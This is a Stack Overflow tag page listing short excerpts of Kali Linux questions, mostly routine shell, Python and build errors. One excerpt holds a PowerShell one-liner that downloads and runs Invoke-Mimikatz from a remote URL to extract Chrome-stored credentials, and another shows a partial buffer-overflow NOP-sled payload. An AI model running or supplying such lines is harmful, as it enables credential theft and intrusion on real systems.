Questions tagged [kali-linux]

Kali Linux is a special-purpose Linux distribution for penetration testing and security auditing, based on Debian. KALI LINUX QUESTIONS ON STACK OVERFLOW MUST BE PROGRAMMING RELATED. Questions about problems getting something to work on Kali, why Kali is so different from other Linux distributions, etc., are generally off-topic for Stack Overflow.

Kali Linux is a special-purpose Linux distribution for penetration testing and security auditing, based on Debian.

Nearly all questions about Kali are considered off-topic not only on Stack Overflow, but on its sister sites (e.g. Server Fault, Super User, Unix and Linux Stack Exchange). For more information about why we have this policy, please read the following FAQ: Why is Kali Linux so hard to set up? Why won't people help me?

275 questions
0
votes
1 answer

Declaring different variables using for loop in a shell script

I am trying to write a function to input info about different people, for instance, five students. I intend to do it using for loop and without declaring an array. function student() { for (( i = 0; i < 5; i++ )); do echo "Name" …
Muhammad Arslan
  • 380
  • 1
  • 4
  • 10
0
votes
0 answers

IDA Remote Linux Debugger

Hello/ During Linux debugging, almost after each line, IDA outputs lines of the type to the console: "Looking for GNU DWARF file at "/usr/lib/debug/.build-id/a4/c98c0c7c7803311fbd918df8fb08db852cef3d.debug"... no." "Looking for GNU DWARF file at…
TossSky
  • 1
  • 1
0
votes
1 answer

How to extract protocols (http)[s] to check url using shell script

I have tried below one: A=https://xyz.site echo -e ${A//:*} Result: https Please describe me that, how this ${A//:*} term results https or http and what's the concept behind it, share a article or pdf if possible. For Worldwide web [www] Its…
Mr.Derek
  • 19
  • 5
0
votes
0 answers

trying to compile a c program but I am getting fatal error:/usr/include/rpc/misc/abstract_atomic.h

I am trying to compile my programm. First I got the fatal error:rpc/rpc.h, tried some fixes and then fatal error:/usr/include/rpc/misc/abstract_atomic.h. Now I get fatal error: netconfig.h. I have no idea what to do. Can someone…
Traffix
  • 25
  • 6
0
votes
2 answers

My Kali linux showing 'No module named importlib' 'from importlib import import_module'

Trying to install build dependencies with pip which is installing in /usr/local/lib/python2.7/dist-packages As I try to install proceed gives an error Collecting git+https://github.com/kti/python-netfilterqueue (from -r requirements.txt (line 1)) …
Harrylever
  • 29
  • 1
  • 8
0
votes
1 answer

How to add php repositories to debian kali linux for php files?

I have added packages.sury.org/php through the script, I got on deb.sury.org =========================================== #!/bin/sh # To add this repository please do: if [ "$(whoami)" != "root" ]; then SUDO=sudo fi ${SUDO} apt-get…
Harrylever
  • 29
  • 1
  • 8
0
votes
1 answer

Kali linux Buffer Overflow Nopsled passing weird value

I tried to add nopsled but kept getting c2 next to 90 which is 32 + 90 in hexadecimal. run $(python -c 'print("\x90" * 182 +…
0
votes
1 answer

Attempted to install a tool using the instructions on Github but get a error when try to run

I am ovbviously not au fait with building from Github repos but would really appreciate some help. OS: Kali Linux (5.15.0-kali2-amd64) I am trying to build per the instructions here: https://github.com/Tripwire/padcheck The build seems to install…
Zakarakus
  • 39
  • 5
0
votes
1 answer

Kali Linux Vscode Python - Operation not permitted run python file with internal terminal

Hy guys, i am trying to use vscode in kali linux. But I ran into a problem. The moment I start the python file from the play symbol in the terminal it gives me a permission error. But if I boot from the terminal using sudo python main.py it works…
0
votes
1 answer

netfilterqueue problem when I start code?

Could anyone help me, please? I wrote the same code: from netfilterqueue import NetfilterQueue def print_and_accept(pkt): print(pkt) pkt.accept() nfqueue = NetfilterQueue() nfqueue.bind(1, print_and_accept) try: nfqueue.run() except…
0
votes
1 answer

version `GLIBC_2.33' not found, 2.32-4 is candidate

I am trying to run InstaPy bot on my Raspberry Pi with 32bit Kali Linux installed. Everything is up to date, upgraded and libc6 updated as well. My GLIBC version is 2.32-4 and according to kali repo this is the most actual version. $ ldd --version …
0
votes
2 answers

Save integers into an output file using python

I am using python to develop a basic calculator. My goal is to create an output file of results for a series. I've tried looking for the correct command but haven't had any luck. Below is my current code. I believe all i need it to finish the "def…
cherries
  • 1
  • 2
0
votes
1 answer

How to convert ouput into uppercases in kali linux shell

I need to convert from 'ifconfig' command output to Uppercases: I've tried like this: ifconfig | tr [:upper:]
Zaless
  • 11
0
votes
1 answer

Mimikatz - problem with handling spaces in the file path Dpapi::chrome

Why in mimikatz/kiwi cannot process first space when opening chrome database "Login Data" ? Example: IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');…
user3391185
  • 33
  • 1
  • 1
  • 5
0
votes
1 answer

echo .[!.]* displays an event not found error

is there a problem with my Linux distribution? i tried to run this command using the ! symbol,but it always display an error: echo .[!.]* zsh: event not found: . Am using Kali Linux.
slinger
  • 140
  • 1
  • 2
  • 7